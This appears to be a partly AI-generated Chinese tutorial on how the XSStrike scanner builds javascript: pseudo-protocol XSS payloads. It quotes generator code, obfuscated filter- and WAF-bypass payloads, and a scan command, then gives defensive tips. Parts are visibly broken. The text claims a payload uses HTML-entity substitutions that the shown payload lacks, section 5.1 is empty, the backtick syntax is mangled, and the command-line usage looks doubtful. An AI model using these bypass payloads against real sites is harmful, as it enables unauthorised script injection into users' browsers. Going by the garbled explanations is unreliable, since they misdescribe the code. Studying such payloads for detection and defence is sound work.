XSStrike JavaScript伪协议利用:从payloads列表学习攻击技巧
【免费下载链接】XSStrike 项目地址: https://gitcode.com/gh_mirrors/xss/XSStrike
一、JavaScript伪协议基础与应用场景
JavaScript伪协议(JavaScript Pseudo-protocol)是一种特殊的URL格式,允许在浏览器中直接执行JavaScript代码。在XSS攻击中,攻击者常利用该协议构造恶意链接,当用户点击或页面加载时触发代码执行。XSStrike作为专业的XSS检测工具,在core/generator.py中通过系统化的payload生成逻辑,实现了对JavaScript伪协议的高效利用。
二、XSStrike中的伪协议实现机制
2.1 动态payload生成逻辑
XSStrike在core/generator.py的第72行和第109行明确处理了JavaScript伪协议场景:
# href属性中的javascript伪协议生成
elif attributeName == 'href' and attributeValue == xsschecker:
for function in functions:
found = True
vectors[10].add(r('javascript:') + function)
# object标签data属性处理
elif tag == 'object' and attributeName == 'data' and attributeValue == xsschecker:
for function in functions:
found = True
vectors[10].add(r('javascript:') + function)
上述代码通过r('javascript:')函数生成大小写混淆的协议头(如JavaScript:、JAVASCRIPT:),结合core/config.py中定义的functions列表构造完整攻击链。
2.2 核心配置参数解析
core/config.py定义了伪协议攻击的关键组件:
- 协议头变异:通过
randomUpper函数实现大小写混淆 - 函数列表:
functions元组包含多种弹窗触发方式functions = ( '[8].find(confirm)', 'confirm()', '(confirm)()', 'co\u006efir\u006d()', # 包含Unicode编码字符 '(prompt)``', 'a=prompt,a()' ) - 填充字符:
eFillings和fillings定义了绕过空格过滤的特殊字符组合
三、实战化payload解析与绕过技巧
3.1 基础伪协议payload结构
XSStrike的core/config.py第62行提供了典型的伪协议攻击示例:
<a/href=javascript:co\u006efirm("1")>clickme</a>
该payload通过以下技巧实现绕过:
- 使用HTML实体编码
:替代冒号: - 对函数名
confirm进行Unicode拆分co\u006efirm - 用HTML实体
(和)替代括号()
3.2 高级混淆技术
在core/config.py的payloads列表中,第45-64行展示了多种伪协议变种:
payloads = (
'<a/href=javascript:co\u006efirm("1")>clickme</a>',
'<svg%0Aonload=%09((pro\u006dpt))()//', # 包含换行符和制表符混淆
'<iMg sRc=x:confirm`` oNlOad=e\u0076al(src)>' # 混合伪协议与事件触发
)
这些payload利用了:
- URL编码字符(
%0A换行、%09制表符) - 函数调用的不同语法(
confirm(),confirm```,(confirm)()`) - 标签属性多位置注入(href, src, onload等)
四、防御绕过实战案例
4.1 过滤绕过思路
XSStrike在core/generator.py第7-171行的向量生成逻辑中,针对不同防御场景设计了分级绕过策略:
- 基础过滤:使用
r('javascript:')生成大小写变异的协议头 - 严格过滤:通过
%0dx等填充字符插入干扰字符 - 深度防御:结合事件处理器(如onmouseover)与伪协议双重触发
4.2 WAF特征规避
工具在core/wafDetector.py中内置了WAF特征库,可根据检测结果自动调整伪协议payload:
- 对特定CDN防护:增加Unicode编码比例
- 对ModSecurity等规则引擎:使用函数调用链
a=prompt,a()替代直接调用
五、payload生成流程与工具使用
5.1 伪协议payload生成流程
5.2 XSStrike工具使用示例
通过以下命令可专项测试JavaScript伪协议利用效果:
python xsstrike.py -u "http://example.com/page.php?id=1" --payloads-file core/config.py
工具将自动加载core/config.py中的伪协议payload模板,并根据目标环境动态调整生成策略。
六、防御建议与安全实践
- 输入验证:严格校验URL参数,禁止
javascript:等危险协议 - 输出编码:对HTML属性值进行实体编码,特别是href、src等位置
- 内容安全策略:配置CSP规则限制内联脚本执行
- 定期检测:使用XSStrike的modes/scan.py模块进行自动化检测
通过深入理解XSStrike的payload生成逻辑,安全人员可有效提升XSS漏洞的检测与防御能力。建议结合core/generator.py的向量生成算法与db/wafSignatures.json的防御特征库,构建针对性的安全测试方案。
【免费下载链接】XSStrike 项目地址: https://gitcode.com/gh_mirrors/xss/XSStrike
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考



